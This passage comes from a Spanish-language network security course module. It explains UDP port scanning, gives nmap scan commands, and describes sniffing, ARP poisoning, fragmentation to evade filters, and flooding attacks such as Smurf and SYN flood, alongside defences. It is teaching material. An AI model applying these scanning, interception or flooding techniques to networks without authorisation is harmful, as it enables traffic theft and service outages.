o no disponible, ası́ como encontrar los servicios asociados a los puertos UDP que

encontramos abiertos.

Para realizar esta exploración se env́ıan datagramas UDP sin ninguna información al cam-

po de datos. En el caso de que el puerto esté cerrado, se recibirá un mensaje ICMP de

puerto no alcanzable (port unreachable). Si el puerto está abierto, no se recibirá ninguna

respuesta.

Dado que UDP es un protocolo no orientado a conexión, la fiabilidad de este ḿetodo

depende de numerosos factores (más todav́ıa en internet), como son la utilización de la red

y sus recursos, la carga existente, la existencia de filtros de paquetes en sistemas finales o

en sistemas cortafuegos, etc.

Asimismo, y a diferencia de las exploraciones TCP, se trata de un proceso mucho más len-

to, puesto que la recepción de los paquetes enviados se consigue mediante el vencimiento

de temporizadores (timeouts).

En el caso de detectar un elevado número de puertos UDP abiertos, el atacante podrı́a

concluir que existe un sistema cortafuegos entre su equipo y el objetivo. Para confirmar

estaúltima posibilidad, se puede enviar un datagrama UDP al puerto cero. Esto tendrı́a que

generar una respuesta ICMP de puerto no alcanzable. No recibir esta respuesta significa

que existe un dispositivo que filtra el tráfico.

Herramientas para realizar la exploración de puertos

La aplicacíon por excelencia para realizar exploración de puertos esNmap(Network Map-

per). Esta herramienta implementa la gran mayorı́a de t́ecnicas conocidas para exploración

de puertos y permite descubrir información de los servicios y sistemas encontrados.Nmap

tambíen implementa un gran número de t́ecnicas de reconocimiento de huellas identifica-

tivas, como las que hemos visto anteriormente.

MedianteNmappueden realizarse, por ejemplo, las siguientes acciones de exploración:

• Descubrimiento de direcciones IP activas mediante una exploración de la red:

.

nmap -sP IP ADDRESS/NETMASK
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• Exploracíon de puertos TCP activos: A tener en cuenta

La mayor parte de
herramientas de exploración
de puertos pueden ser muy
“ruidosas” y no son bien
vistas por los administradores
de red. Es altamente
recomendable no utilizar
estas herramientas sin el
consentimiento explı́cito de
los responsables de la red.

.

nmap -sT IP ADDRESS/NETMASK

• Exploracíon de puertos UDP activos:

.

nmap -sU IP ADDRESS/NETMASK

• Exploracíon del tipo de sistema operativo de un equipo en red:

.

nmap -O IP ADDRESS/NETMASK

La siguiente imagen muestra un ejemplo de exploración de puertos mediante la herramien-

taNmap:

Generalmente,Nmapes utilizado internamente por otras aplicaciones como, por ejemplo,

esćaners de vulnerabilidades, herramientas de detección de sistemas activos, servicios web

que ofrecen exploración de puertos, etc.
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Éste es el caso de la utilidadNessus. Se trata de una utilidad que permite comprobar si un

* Mirad el capı́tulo Escáners
de vulnerabilidades del
módulo didáctico
Mecanismos de detección de
ataques e intrusiones para
más información.

sistema es vulnerable a un conjunto muy amplio de problemas de seguridad almacenados

en su base de datos. Si encuentra alguna de estas debilidades en el sistema analizado, se

encargaŕa de informar sobre su existencia y sobre posibles soluciones.

.

Nmap, junto conNessus, son dos de las herramientas más frecuentemente utili-

zadas tanto por administradores de redes como por posibles atacantes, puesto que

ofrecen la mayor parte de los datos necesarios para estudiar el comportamiento de

un sistema o red que se quiere atacar*.
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1.3. Escuchas de red

.

Uno de los primeros ataques contra las dos primeras capas del modelo TCP/IP son las

escuchas de red. Se trata de un ataque realmente efectivo, puesto que permite la obtención

de una gran cantidad de información sensible.

Mediante aplicaciones que se encargan de capturar e interpretar tramas y datagramas enRedes Ethernet

Las redes Ethernet son un
ejemplo de redes basadas en
difusión.

entornos de red basados en difusión, conocidos como escuchas de red osniffers, es posible

realizar el ańalisis de la informacíon contenida en los paquetes TCP/IP que interceptan

para poder extraer todo tipo de información.

.

Un sniffer no es ḿas que un sencillo programa que intercepta toda la información

que pase por la interfaz de red a la que esté asociado. Una vez capturada, se podrá

almacenar para su análisis posterior.

De esta forma, sin necesidad de acceso a ningún sistema de la red, un atacante podrá

obtener informacíon sobre cuentas de usuario, claves de acceso o incluso mensajes de

correo electŕonico en el que se envı́an estas claves. Este tipo de técnica se conoce como

sniffing.

Las t́ecnicas deniffing tambíen se conocen como técnicas deeavesdroppingy técnicas

de snooping. La primera,eavesdropping, es una variante delsniffing, caracterizada por

realizar la adquisición o intercepcíon del tŕafico que circula por la red de forma pasiva, es

decir, sin modificar el contenido de la información.

Por otra parte, las técnicas desnoopingse caracterizan por el almacenamiento de la infor-Sniffing hardware

Es posible analizar el tráfico
de una red pinchando en un
cable de red de un dispositivo
por el que circula todo el
tráfico. También se pueden
utilizar receptores situados
en medios de
comunicaciones sin cables.

macíon capturada en el ordenador del atacante, mediante una conexión remota establecida

durante toda la sesión de captura. En este caso, tampoco se modifica la información in-

cluida en la transmisión.

La forma ḿas habitual de realizar técnicas desniffingen una red, probablemente porque

est́a al alcance de todo el mundo, es la que podrı́amos denominarsniffing software, utili-

zando las aplicaciones que ya mencionadas.
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1.3.1. Desactivacíon de filtro MAC

Una de las t́ecnicas ḿas utilizadas por la mayorı́a de lossniffersde redes Ethernet se

basa en la posibilidad de configurar la interfaz de red para que desactive su filtro MAC

(poniendo la tarjeta de red en modo promiscuo).

Las redes basadas en dispositivos Ethernet fueron concebidas en torno a una idea principal:

todas las ḿaquinas de una misma red local comparten el mismo medio, de manera que

todos los equipos son capaces de ver el tráfico de la red de forma global.

Cuando se envı́an datos es necesario especificar claramente a quién van dirigidos, indican-

do la direccíon MAC. De los 48 bits que componen la dirección MAC, los 24 primeros bits

identifican al fabricante delhardware, y los 24 bits restantes corresponden al número de

serie asignado por el fabricante. Esto garantiza que dos tarjetas no puedan tener la misma

direccíon MAC.

Para evitar que cualquier máquina se pueda apropiar de información fraudulenta, las tarje-

tas Ethernet incorporan un filtro que ignora todo el tráfico que no les pertenece, descartando

aquellos paquetes con una dirección MAC que no coincide con la suya. La desactivación

de este filtro se conoce con el nombre demodo promiscuo.

Con el uso adecuado de expresiones regulares y otros filtros de texto, se podrá visualizar Modo promiscuo

Si es posible poner la tarjeta
de red en modo promiscuo, la
aplicación podrá empezar a
capturar tanto los paquetes
destinados a esta máquina
como el resto de tráfico de la
misma red.

o almacenaŕunicamente la información que ḿas interese; en especial, aquella información

sensible, como nombres de usuario y contraseñas.

El entorno en el que suele ser más efectivo este tipo de escuchas son las redes deárea

local configuradas con una topologı́a en bus. En este tipo de redes, todos los equipos están

conectado a un mismo cable. Esto implica que todo el tráfico transmitido y recibido por

los equipos de la red pasa por este medio común.

.

Una solucíon para evitar esta técnica consiste en la segmentación de la red y de

los equipos mediante el uso de conmutadores (switches). Al segmentar la red y los

equipos, eĺunico tŕafico que tendrı́an que ver las ḿaquinas serı́a el que les pertene-

ce, puesto que el conmutador se encarga de encaminar hacia el equipoúnicamente

aquellos paquetes destinados a su dirección MAC. Aun aśı, existen t́ecnicas para

poder continuar realizandosniffing aunque se haya segmentado la red median-

te switches. Una de estas técnicas es la suplantación de ARP, que describiremos a

continuacíon.
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1.3.2. Suplantacíon de ARP

El protocolo ARP es el encargado de traducir direcciones IP de 32 bits, a las correspon-

dientes direcciones hardware, generalmente de 48 bits en dispositivos Ethernet. Cuando

un ordenador necesita resolver una dirección IP en una dirección MAC, lo que hace es

efectuar una petición ARP (arp-request ) a la direccíon de difusíon de dicho segmento

de red,FF:FF:FF:FF:FF:FF , solicitando que el equipo que tiene esta IP responda con

su direccíon MAC.

192.168.0.1

0A:0A:0A:0A:0A:0A
Broadcast

FF:FF:FF:FF:FF:FF

192.168.0.2

0B:0B:0B:0B:0B:0B

ARP-REQUEST

Who has 192.168.0.2? Tell 192.168.0.1

ARP-REPLY

192.168.0.2 is at 0B:0B:0B:0B:0B:0B

Datagrama IP

La figura anterior refleja ćomo una ḿaquina A, con IP192.168.0.1 y MAC 0A:0A-

:0A:0A:0A:0A solicita por difusíon qúe direccíon MAC est́a asociada a la IP192.-

168.0.2 . La máquina B, con IP192.168.0.2 y MAC 0B:0B:0B:0B:0B:0B de-

beŕıa ser laúnica que respondiera a la petición.

Con el objetivo de reducir el tráfico en la red, cada respuesta de ARP (arp-reply ) que

llega a la tarjeta de red es almacenada en una tabla caché, aunque la ḿaquina no haya

realizado la correspondiente petición. Aśı pues, toda respuesta de ARP que llega a la

máquina es almacenada en la tabla de ARP de esta máquina. Este factor es el que se

utilizará para realizar el ataque de suplantación de ARP*.

* Este engaño se conoce con
el nombre de
”envenenamiento de
ARP”(ARP poisoning).

.

El objetivo de un ataque de suplantación de ARP es poder capturar tráfico ajeno sin

necesidad de poner en modo promiscuo la interfaz de red. Envenenando la tabla

de ARP de los equipos involucrados en la comunicación que se quiere capturar se

puede conseguir que el conmutador les haga llegar los paquetes. Si el engaño es

posible, cuando las dos máquinas empiecen la comunicación enviaŕan sus paque-

tes hacia la ḿaquina donde está el sniffer. Éste, para no descubrir el engaño, se

encargaŕa de encaminar el tráfico que ha interceptado.
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En la siguiente figura se puede ver cómo la ḿaquina C se coloca entre dos máquinas (A y

B) y les env́ıa paquetes de tipoarp-reply :

192.168.0.1

0A:0A:0A:0A:0A:0A
192.168.0.3

0C:0C:0C:0C:0C:0C

192.168.0.2

0B:0B:0B:0B:0B:0B

ARP-REPLY

192.168.0.2 is at 0C:0C:0C:0C:0C:0C

ARP-REPLY

192.168.0.2 is at 0C:0C:0C:0C:0C:0C

ARP-REPLY

192.168.0.2 is at 0C:0C:0C:0C:0C:0C

ARP-REPLY

192.168.0.1 is at 0C:0C:0C:0C:0C:0C

ARP-REPLY

192.168.0.1 is at 0C:0C:0C:0C:0C:0C

ARP-REPLY

192.168.0.1 is at 0C:0C:0C:0C:0C:0C

Conexión lógica

Conexión real

De esta forma, toda comunicación entre las ḿaquinas A y B pasará por la ḿaquina C (ya

que tanto A como B dirigen sus paquetes a la dirección MAC 0C:0C:0C:0C:0C:0C). El

flujo dearp-reply seŕa constante, para evitar que la tabla de ARP de las máquinas A y

B se refresque con la información correcta. Este proceso corresponde al envenenamiento

de ARP comentado. A partir del momento en que el envenenamiento se haga efectivo, los

paquetes enviados entre A y B irán encaminados a C.

Como vemos en la siguiente figura, al intentar realizar el envenenamiento de ARP podrı́a

producirse una condición de carrera (race condition ).

192.168.0.1

0A:0A:0A:0A:0A:0A
Broadcast

FF:FF:FF:FF:FF:FF

192.168.0.2

0B:0B:0B:0B:0B:0B

ARP-REQUEST

Who has 192.168.0.2? Tell 192.168.0.1

ARP-REPLY

192.168.0.2 is at 0C:0C:0C:0C:0C:0C

192.168.0.3

0C:0C:0C:0C:0C:0C

ARP-REPLY

192.168.0.2 is at 0B:0B:0B:0B:0B:0B

A)

ARP-REQUEST

Who has 192.168.0.2? Tell 192.168.0.1

ARP-REPLY

192.168.0.2 is at 0C:0C:0C:0C:0C:0C

ARP-REPLY

192.168.0.2 is at 0B:0B:0B:0B:0B:0B

B)
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Si la máquina C responde alarp-request antes que el servidor principal, suarp-

repla y será sobreescrito por el de la máquina verdadera. Por otra parte, si fuera al

contrario (figura b), serı́a el arp-reply verdadero el que serı́a eliminado por el de la

máquina C (produciéndose en este caso el envenenamiento de ARP).

.

Una posible solución para evitar ataques de suplantación de ARP es la utilización

de direcciones MAC estáticas, de manera que no puedan ser actualizadas. En es-

te caso, losarp-reply enviados por el atacante serán ignorados. El principal

inconveniente de esta solución es la necesidad de almacenar en la tabla ARP la

asociacíon entre la dirección IP (con sus correspondientes direcciones MAC) de

cada equipo de la red y la necesidad de actualización manual en el caso de cambios

de tarjetas Ethernet en los equipos involucrados.

1.3.3. Herramientas disponibles para realizarsniffing

Una de las aplicaciones más conocidas, en especial en sistemas Unix, esTcpdump. Este

programa, una vez ejecutado, captura todos los paquetes que llegan a nuestra máquina y

muestra por consola toda la información relativa a los mismos. Se trata de una herramienta

que se ejecuta desde la lı́nea de comandos y que cuenta con una gran cantidad de opciones

para mostrar la información capturada de formas muy diversas.Tcpdumpes una herrami-

enta muy potente y es la base para muchos otrossniffersque han aparecido posteriormente.

Otra herramienta muy conocida esEttercap. Esta aplicacíon, que tambíen funciona desde

consola, ofrece un modo de ejecución interactivo en el que se muestran las conexiones

accesibles desde la máquina donde se encuentra instalado y que permite seleccionar cual-

quiera de ellas para la captura de paquetes.Ettercapes una aplicación muy potente que

permite utilizar la mayor parte de las técnicas existentes para realizar tantosniffingcomo

eavesdroppingy snooping. La siguiente imagen muestra una sesión de Telnet capturada

medianteEttercap:
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1.4. Fragmentación IP

.

El protocolo IP es el encargado de seleccionar la trayectoria que deben seguir los datagra-

mas IP. No es un protocolo fiable ni orientado a conexión, es decir, no garantiza el control

de flujo, la recuperación de errores ni que los datos lleguen a su destino.

A la hora de pasar a la capa inferior, los datagramas IP se encapsulan en tramas que, depen-

* En inglés, Maxim Transfer
Unit.

diendo de la red fı́sica utilizada, tienen una longitud determinada. Cuando los datagramas

IP viajan de unos equipos a otros, pueden pasar por distintos tipos de redes. El tamaño

exacto de estos paquetes, denominado MTU*, puede variar de una red a otra dependiendo

del medio f́ısico empleado para su transmisión.

Aśı, el protocolo IP debe tener en cuenta que ningún dispositivo puede transmitir paquetes

de una longitud superior al MTU establecido por la red por la que hay que pasar. A causa

de este problema, es necesaria la reconversión de datagramas IP al formato adecuado.

.

La fragmentacíon divide los datagramas IP en fragmentos de menor longitud y se

realiza en el nivel inferior de la arquitectura para que sea posible recomponer los

datagramas IP de forma transparente en el resto de niveles. El reensamblado realiza

la operacíon contraria.

El proceso defragmentación y reensambladose iŕa repitiendo a medida que los

datagramas vayan viajando por diferentes redes.

Aunque la fragmentación es, por lo general, una consecuencia natural del tráfico que viaja Fragmentación ...

... y ataques de denegaci ón
de servicio . Ved la
información sobre los
ataques teardrop y ping de la
muerte en la sección sobre
denegaciones de servicio de
este mismo módulo didáctico
para más información.

a trav́es de redes con MTU de distintos tamaños, es posible que un atacante pueda realizar

un mal uso de esta propiedad del protocolo IP para provocar ataques de denegación de

servicio (a causa de una mala implementación de la pila TCP/IP), ası́ como para esconder

y facilitar la fase de recogida de información (b́usqueda de huellas identificativas, explo-

ración de puertos, . . . ) o incluso para hacer pasar desapercibidos e introducir en la red

paquetes para la explotación de servicios. Estóultimo es posible porque muchos de los

mecanismos de prevención y de detección que veremos en ḿodulos posteriores no imple-

mentan el reensamblado de paquetes, y por ello no detectarán ni prevendŕan este tipo de

actividad a causa del enmascaramiento que la fragmentación les ofrece.

Aśı pues, es importante comprender cómo funciona esta faceta del protocolo IP para en-

tender este mal uso del tráfico fragmentado que podrı́a realizar un posible atacante para

conseguir su objetivo.
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1.4.1. Fragmentacíon en redes Ethernet

La MTU por defecto de un datagrama IP para una red de tipo Ethernet es de 1500 bytes.

Aśı pues, si un datagrama IP es mayor a este tamaño y necesita circular por este tipo de red,

seŕa necesario fragmentarlo por medio del encaminador que dirige la red. Los fragmentos

pueden incluso fragmentarse más si pasan por una red con una MTU más pequẽna que su

tamãno.

Para que el equipo de destino pueda reconstruir los fragmentos,éstos deben contener la

siguiente informacíon:

• Cada fragmento tiene que estar asociado a otro utilizando un identificador de fragmento

común. Éste se clonará desde un campo de la cabecera IP, conocido como identificador

IP (tambíen llamado ID de fragmento).

• Informacíon sobre su posición en el paquete inicial (paquete no fragmentado).

• Informacíon sobre la longitud de los datos transportados al fragmento.

• Cada fragmento tiene que saber si existen más fragmentos a continuación. Esto se

indica en la cabecera, dejando o no activado el indicador de más fragmentos (more

fragments, MF) del datagrama IP.

Toda esta información irá en la cabecera IP, colocada en el datagrama IP. Esto afectará

a todo el tŕafico TCP/IP puesto que IP es el protocolo responsable de la entrega de los

paquetes.

En la siguiente figura vemos la configuración de un datagrama IP no fragmentado:

Cabecera IP

de 20 bytes 1480 bytes de datos encapsulados

Ethernet (MTU=1500)

En la cabecera IP, que normalmente será de 20 bytes, estará contenida la información

necesaria para poder dirigir el datagrama IP hacia su destino (dirección IP de origen y

destino, direccíon del encaminamiento de origen, . . . ).
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Tras la cabecera IP, se encapsulan los datos.Éstos pueden ser tanto de un protocolo IP

como TCP, UDP o ICMP. Por ejemplo, si estos datos fueran TCP, incluirı́an una cabecera

TCP y datos TCP.

Cabecera IP

4000 bytes de datos ICMP

Ethernet  MTU = 1500

Cabecera

ICMP

(petición eco ICMP)

4028 bytes en total en el datagrama IP

1500 bytes 1500 bytes 1068 bytes

20 8

Datos ICMP

En la figura anterior podemos observar una petición ICMP de tipoecho que pasa por una

red Ethernet (MTU de 1500). Esta petición ICMP es anormalmente grande, no representa-

tiva del tŕafico normal, pero será utilizada para mostrar cómo se produce la fragmentación.

Por lo tanto, el datagrama de 4028 bytes deberá dividirse en fragmentos de 1500 bytes o

menos.

Estos paquetes fragmentados de 1500 bytes tendrán una cabecera IP de 20 bytes como

fragmento inicial, quedando un máximo de 1480 bytes para los datos en cada fragmen-

to. Las siguientes secciones examinan el contenido de cada uno de los tres fragmentos

individuales.

Fragmento inicial

La cabecera IP original se clonará para que contenga un identificador de fragmentos idéntico

tanto para el primer como para el resto de fragmentos.

El primer fragmento es elúnico que contendrá la cabecera del mensaje ICMP.Ésta no seŕa

clonada en los fragmentos posteriores. Como veremos más adelante, este hecho identifica

la naturaleza del fragmento original.
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Observando lasiguientefigurapodemos ver con atención el fragmento inicial:

Cabecera IP

1472

Cabecera

ICMP

(petición eco ICMP)

Offset = 0

Longitud = 1480

Más fragmentos = 1

Datos ICMP

1500 bytes en total

20 8

20 8 1472

Datos ICMPCabecera IP

Además, este primer fragmento tiene un valor de desplazamiento igual a 0, una longitud

de 1480 bytes, 1472 bytes de datos, 8 bytes de cabecera ICMP y un indicador de más

fragmentos. A continuación podemos observar con más detalle la configuración de este

primer fragmento:

1500 bytes en total en un datagrama IP

20 8 1472 bytes de datos ICMP

Protocolo = ICMP

ID de fragmento = 21223

Indicador de más fragmentos = 1

Offset del fragmento = 0

Longitud de los datos = 1480

Cabecera ICMP

Tipo = petición eco ICMP
Cabecera IP

Los primeros 20 bytes de los 1500 son la cabecera IP, y los 8 bytes siguientes son la

cabecera ICMP. Recordemos que este paquete fragmentado es una petición ICMP de tipo

echo que tiene una cabecera de 8 bytes en su paquete original.

Los 1472 bytes restantes son para los datos de ICMP. Además de los campos normales

de la cabecera IP, como origen, destino y protocolo (en este caso ICMP), hay campos

espećıficos para la fragmentación.
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El identificador de fragmento con un valor de 21223 es el enlace común para el resto de

los fragmentos. El indicador de más fragmentos avisará de que el otro fragmento sigue

al actual. Aśı pues, en este primer fragmento el indicador se establece en 1 para indicar

que hay ḿas fragmentos a continuación. Vemos también que se almacena el valor de los

datos de este fragmento en relación con los datos del datagrama completo. Para el primer

registro, el valor de desplazamiento es 0.

Finalmente, se almacena la longitud de los datos contenidos en este fragmento como la

longitud del mismo; en este caso, la longitud es 1480, es decir, la cabecera ICMP de 8

bytes seguida por los primeros 1472 bytes de los datos ICMP.

Fragmento siguiente

Podemos ver en la siguiente figura cómo en el fragmento siguiente la cabecera IP de la

cabecera original es clonada con un identificador de fragmento idéntico:

1480

Offset = 1480

Longitud = 1480

Más fragmentos = 1

1500 bytes en total

20 1480

Datos ICMPCabecera IP

Datos ICMP

Vemos tambíen ćomo se reproduce la mayor parte del resto de datos de la cabecera IP

(como el origen y destino) en la nueva cabecera. Detrás deésta van los 1480 bytes de

datos ICMP. Este segundo fragmento tiene un valor de 1480 y una longitud de 1480 bytes.

Además, como todav́ıa le sigue un fragmento ḿas, se activa nuevamente el indicador de

más fragmentos.

1500 bytes en total del datagrama IP

20 1480 bytes de datos ICMP

Protocolo = ICMP

ID de fragmento = 21223

Indicador de más fragmentos = 1

Offset del fragmento = 1480

Longitud de los datos = 1480

Cabecera IP
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La figura anterior muestra el datagrama IP que lleva el segundo fragmento que, como el

resto de fragmentos, necesita una cabecera IP de 20 bytes. De nuevo, el protocolo de la

cabecera indica ICMP.

El número de identificación de fragmento contińua siendo 21223. Y tiene el indicador de

más fragmentos activado, porque hay otro fragmento a continuación.

Es importante tener presente que la cabecera ICMP del primer fragmento no ha sido clo-

nada juntamente con los datos ICMP. Esto significa que si se examinara tan solo este

fragmento, no se podrı́a saber el tipo de mensaje ICMP que hay almacenado.Éste hecho

puede suponer problemas importantes a la hora de utilizar dispositivos de filtrado.

Último fragmento

1048

Offset = 2960

Longitud = 1048

Más fragmentos = 0

1068 bytes en total

20 1048

Datos ICMPCabecera IP

Datos ICMP

En la figura anterior podemos ver cómo, una vez ḿas, ha sido clonada la cabecera IP de

la cabecera original (con un identificador de fragmento idéntico). Losúltimos 1048 bytes

de datos ICMP se insertan en este nuevo datagrama IP. Este fragmento tiene un despla-

zamiento de 2960 y una longitud de 1048 bytes; y como no le siguen más fragmentos, el

indicador de ḿas fragmentos está desactivado. En la siguiente figura podemos observar

con ḿas detenimiento estéultimo fragmento:

1068 bytes en total del datagrama IP

20 1048 bytes de datos ICMP

Protocolo = ICMP

ID de fragmento = 21223

Indicador de más fragmentos = 0

Offset del fragmento = 2960

Longitud de los datos = 1048

Cabecera IP
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Detŕas de los 20 bytes de la cabecera IP encontramos en el fragmento el resto de bytes de

los datos ICMP originales. El identificador de fragmento es 21223, y no se establece el

indicador de ḿas fragmentos porquéeste es eĺultimo.

El valor de desplazamiento es 2960 (la suma de los dos fragmentos anteriores de 1480

bytes). Śolo hay 1048 bytes de datos, es decir, el resto de bytes del mensaje ICMP. Tanto

este fragmento como el segundo no tiene cabecera ICMP ni, por lo tanto, tipo de mensaje

ICMP que nos indique que nos encontramos ante una peticiónecho de ICMP.

1.4.2. Fragmentacíon para emmascaramiento de datagramas IP

Como ya hemos introducido al principio de esta sección, la fragmentación IP puede plan-

tear una serie de problemáticas relacionadas con la seguridad de nuestra red.

Aparte de los problemas de denegación que veremos con ḿas detenimiento en la siguiente

seccíon, una de las probleḿaticas ḿas destacadas es la utilización de fragmentación IP

malintencionada para burlar las técnicas b́asicas de inspección de datagramas IP.

En este caso, un atacante tratará de provocar intencionadamente una fragmentación en los

datagramas que envı́a a nuestra red con el objetivo de que pasen desapercibidos por dife-

rentes dispositivos de prevención y de detección de ataques que no tienen implementado

el proceso de fragmentación y reensamblado de datagramas IP. Dispositivos de prevencíon y
de deteccíon.

Mirad los módulos didácticos
Mecanismos de prevención y
Mecanismos de detección
para más información.

En el caso de los dispositivos de prevención más b́asicos (como, por ejemplo, encaminado-

res con filtrado de paquetes), las decisiones para bloquear paquetes se basan generalmente

en la informacíon de cabecera de los paquetes (como, por ejemplo, puertos TCP o UDP

de destino, banderas de TCP, . . . ). Esto significa que los paquetes TCP y UDP fragmen-

tados son susceptibles de burlar aquellos mecanismos de prevención que no implementen

el proceso de reensamblado para poder tener una visión global del paquete que hay que

bloquear.

Por otro lado, en el caso de dispositivos de prevención más avanzados (como, por ejem-

plo, pasarelas a nivel de aplicación), aśı como en la mayor parte de los mecanismos de

deteccíon, las decisiones para detectar paquetes potencialmente peligrosos acostumbran a

basarse nuevamente en la inspección de la cabecera del datagrama IP, ası́ como en la parte

de datos del paquete. Esto significa que la fragmentación se puede utilizar nuevamente

para burlar este proceso de detección y conseguir que estos paquetes entren o salgan de la

red de forma desapercibida.

Con el objetivo de descubrir la MTU de la red e intentar ası́ realizar fragmentación, el

atacante puede utilizar el indicador de no fragmentación del datagrama IP. Cuando el indi-

cador de no fragmentación est́a activado, como indica su nombre, no se realizará ninguna

fragmentacíon en el datagrama. Por lo tanto, si un datagrama con este indicador cruza

una red en la que se exija la fragmentación, el encaminador lo descubrirá, descartará el

datagrama y devolverá el mensaje de error al equipo emisor. Este mensaje de error ICMP
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contiene la MTU de la red que requiere la fragmentación.

De esta forma, el atacante solo deberá construir datagramas con diferentes longitudes, con

el indicador de fragmentación establecido, a la espera de recibir estos mensajes de error.

.

Para solucionar el uso de la fragmentación fraudulenta y garantizar una correcta

inspección de paquetes, es necesaria la implementación del proceso de fragmenta-

ción y el reensamblado de datagramas en dispositivos de prevención y deteccíon.

Esta solucíon puede suponer un coste adicional, ya que significa tener que exami-

nar y almacenar cada fragmento. Aunque puede resultar muy costoso en cuanto

a recursos (tiempo, proceso y memoria), será la única forma de asegurar que la

inspeccíon del paquete se ha realizado de forma correcta.
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1.5. Ataques de denegación de servicio

.

Un ataque de denegación de servicio* es un incidente en el cual un usuario o una orga-

* En inglés, Deny of Service
Attack (DoS).

nizacíon es privada de los servicios de un recurso que esperaba obtener. Normalmente, la

pérdida de servicio se corresponde con la imposibilidad de obtener un determinado servi-

cio de red como, por ejemplo, el acceso a una página web.

.

Definimosdenegacíon de serviciocomo la imposibilidad de acceder a un recurso

o servicio por parte de un usuario legı́timo. Es decir, la apropiación exclusiva de

un recurso o servicio con la intención de evitar cualquier acceso a terceras partes.

De forma ḿas restrictiva, se pueden definir los ataques de denegación de servicio en redes

IP como la consecución total o parcial (temporal o total) del cese de la prestación de

servicio de un equipo conectado a la red.

Los ataques de denegación de servicio pueden ser provocados tanto por usuarios internos

en el sistema como por usuarios externos. Dentro del primer grupo podrı́amos pensar en

usuarios con pocos conocimientos que pueden colapsar el sistema o servicio inconscien-

temente. Por ejemplo, usuarios que abusan de los recursos del sistema, ocupando mucho

ancho de banda en la búsqueda de archivos de música o de pelı́culas, usuarios malintencio-

nados que aprovechan su acceso al sistema para causar problemas de forma premeditada,

etc.

En el segundo grupo se encuentran aquellos usuarios que han conseguido un acceso al

sistema de forma ilegı́tima, falseando adeḿas la direccíon de origen con el propósito de

evitar la deteccíon del origen real del ataque (mediante ataques de suplantación).

El peligro de los ataques de denegación de servicio viene dado por su independencia de

plataforma. Como sabemos, el protocolo IP permite una comunicación homoǵenea (in-

dependiente del tipo de ordenador o fabricante) a través de espacios heterogéneos (redes

Ethernet, ATM, . . . ). De esta forma, un ataque exitoso contra el protocolo IP se convierte

inmediatamente en una amenaza real para todos los equipos conectados a la red, indepen-

dientemente de la plataforma que utilicen.

A continuacíon realizaremos una exposición sobre algunos de los ataques de denegación

de servicio ḿas representativos.
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1.5.1. IP Flooding

.

El ataque deIP Flooding se basa en una inundación masiva de la red mediante

datagramas IP.

Este ataque se realiza habitualmente en redes locales o en conexiones con un gran ancho

de banda. Consiste en la generación de tŕafico basura con el objetivo de conseguir la degra-

dacíon del servicio. De esta forma, se resume el ancho de banda disponible, ralentizando

las comunicaciones existentes de toda la red.

Podemos pensar en la utilización de este ataque principalmente en redes locales cuyo con-

trol de acceso al medio es nulo y cualquier máquina puede ponerse a enviar y recibir pa-

quetes sin que se establezca ningún tipo de limitacíon en el ancho de banda que consume.

Ataque IP Flooding

Atacante

El tráfico generado en este tipo de ataque puede ser:

• Aleatorio. Cuando la dirección de origen o destino del paquete IP es ficticia o falsa.

Este tipo de ataque es el más b́asico y simplemente busca degradar el servicio de co-

municacíon del segmento de red al que está conectado el ordenador responsable del

ataque.

• Definido o dirigido. Cuando la dirección de origen, destino, o incluso ambas, es la de

la máquina que recibe el ataque. El objetivo de este ataque es doble, ya que además

de dejar fuera de servicio la red donde el atacante genera los datagramas IP, también

trataŕa de colapsar al equipo de destino, sea reduciendo el ancho de banda disponible,

o bien saturando su servicio ante una gran cantidad de peticiones que el servidor será

incapaz de procesar.
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Los datagramas IP utilizados podrı́an corresponder a:

• UDP. Con el objetivo de generar peticiones sin conexión a ninguno de los puertos

disponibles. Seǵun la implementación de la pila TCP/IP de las ḿaquinas involucradas,

las peticiones masivas a puertos especı́ficos UDP pueden llegar a causar el colapso del

sistema.

• ICMP. Generando mensajes de error o de control de flujo.

• TCP. Para generar peticiones de conexión con el objetivo de saturar los recursos de red

de la ḿaquina atacada.

Una variante del IP Flooding tradicional consiste en la utilización de la direccíon de difu-

sión de la red como dirección de destino de los datagramas IP. De esta forma, el encami-

nador de la red se verá obligado a enviar el paquete a todos los ordenadores de la misma,

consumiendo ancho de banda y degradando el rendimiento del servicio.

Tambíen existen otras variantes en las que se envı́an peticiones ICMP de tipoecho-request

a varios ordenadores suplantando la dirección IP de origen, sustituida por la dirección de

difusión (broadcast ) de la red que se quiere atacar. De esta forma, todas las respuestas

individuales se ven amplificadas y propagadas a todos los ordenadores conectados a la red.

La siguiente figura representa este tipo de escenario:

Ataque Broadcast IP Flooding

10.0.0.3

Atacante

10.0.0.1

10.0.0.2 10.0.0.254

ping 10.0.0.1

(IP src=10.0.0.255)

ping 10.0.0.2

(IP src=10.0.0.255)

pong (IP src=10.0.0.1)

pong (IP src=10.0.0.2)

pong (IP src=10.0.0.1)

pong (IP src=10.0.0.2)

pong (IP src=10.0.0.1)

pong (IP src=10.0.0.2)

pong (IP src=10.0.0.1)

pong (IP src=10.0.0.2)
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1.5.2. Smurf

Este tipo de ataque de denegación de servicio es una variante del ataque anterior (IP Flo-

oding), pero realizando una suplantación de las direcciones de origen y destino de una

petición ICMP del tipoecho-request :

Ataque Smurf

10.0.0.3

Atacant

10.0.0.1

10.0.0.2 10.0.0.254

ping 10.0.0.255

(IP src=10.0.0.254)

ping from 10.0.0.254

ping from 10.0.0.254

pong (IP src=10.0.0.1)

pong (IP src=10.0.0.2)

               ….

pong (IP src=10.0.0.254)

ping from 10.0.0.254

ping from 10.0.0.254

Como direccíon de origen se pone la dirección IP de la ḿaquina que debe ser atacada. En

el campo de la dirección IP de destino se pone la dirección de difusíon de la red local o red

que se utilizaŕa como trampolı́n para colapsar a la vı́ctima.

Con esta petición fraudulenta, se consigue que todas las máquinas de la red respondan a la

vez a una misma ḿaquina, consumiendo todo el ancho de banda disponible y saturando el

ordenador atacado.

1.5.3. TCP/SYN Flooding

Como ya hemos visto anteriormente, algunos de los ataques y técnicas de exploración que

se utilizan en la actualidad se basan en no complementar intencionadamente el protoco-

lo de intercambio del TCP. Esta debilidad del protocolo TCP proviene de las primeras

implementaciones de las pilas TCP.

Cada vez que se procesa una conexión, deben crearse datagramas IP para almacenar la

informacíon necesaria para el funcionamiento del protocolo. Esto puede llegar a ocupar

mucha memoria. Como la memoria del equipo es finita, es necesario imponer restricciones

sobre el ńumero de conexiones que un equipo podrá aceptar antes de quedarse sin recursos.
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.

El ataquedeTCP/SYN Flooding seaprovechadel númerodeconexionesqueestán

esperando para establecer un servicio en particular para conseguir la denegación del

servicio.

